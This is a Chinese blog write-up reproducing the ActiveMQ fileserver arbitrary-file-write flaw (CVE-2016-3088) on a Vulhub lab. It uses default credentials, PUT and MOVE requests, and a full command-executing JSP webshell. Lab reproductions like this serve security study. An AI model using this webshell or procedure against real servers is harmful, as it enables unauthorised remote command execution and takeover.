1.背景介紹。
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發(fā)現(xiàn):
- 其使用率并不高
- 文件操作容易出現(xiàn)漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經(jīng)默認關(guān)閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
在測試過程中,可以關(guān)注ActiveMQ的版本,避免走彎路。
2.環(huán)境介紹。
采用kali搭建Vulhub靶場。
靶機:127.0.0.1
環(huán)境監(jiān)聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現(xiàn)在web控制臺中。
訪問http://172.18.0.1:8161/
看到web頁面,說明環(huán)境已成功運行。
3.漏洞復現(xiàn)。
本漏洞出現(xiàn)在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
文件寫入有幾種利用方法:
- 寫入webshell
- 寫入cron或ssh key等文件
- 寫入jar或jetty.xml等庫和配置文件
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權(quán)限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。
分別說一下上述幾種利用方法。
(1)寫入webshell
我們首先要通過賬號密碼登錄
賬號:admin
密碼:admin
之后訪問http://127.0.0.1:8161/admin/test/systemProperties.jsp來獲取真實路徑
進入/fileserver/目錄,抓包寫入webshell
<% // 如果請求參數(shù)pwd的值為"023" if("023".equals(request.getParameter("pwd"))){ // 獲取執(zhí)行命令的參數(shù)i String cmd = request.getParameter("i"); // 執(zhí)行命令并獲取子進程的輸入流 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); int a = -1; byte[] b = new byte[2048]; // 輸出<pre>標簽 out.print("<pre>"); // 讀取子進程的輸出流并輸出 while((a=in.read(b))!=-1){ out.println(new String(b)); } // 輸出</pre>標簽 out.print("</pre>"); } %>
注意這時我們雖然寫入文件,但我們?nèi)ピL問這個文件時會發(fā)現(xiàn).txt文件并沒有被解析
?所以我們還需要將這個文件去移動到一個有執(zhí)行jsp文件權(quán)限的目錄下,這時我們就用到了我們在之前查詢到的真實路徑,還是通過抓包來操作
?我們將webshell寫入api目錄下,進入/api/查看
?寫入成功,進入后根據(jù)小馬參數(shù)構(gòu)建命令即可
?除此之外,還有其他兩種方法利用,但筆者在復現(xiàn)過程中遇到問題較多,沒有進行下去,哪位大佬有成功浮現(xiàn)的,踢我一下。文章來源:http://www.zghlxwxcb.cn/news/detail-425108.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-425108.html
到了這里,關(guān)于CVE-2016-3088漏洞復現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!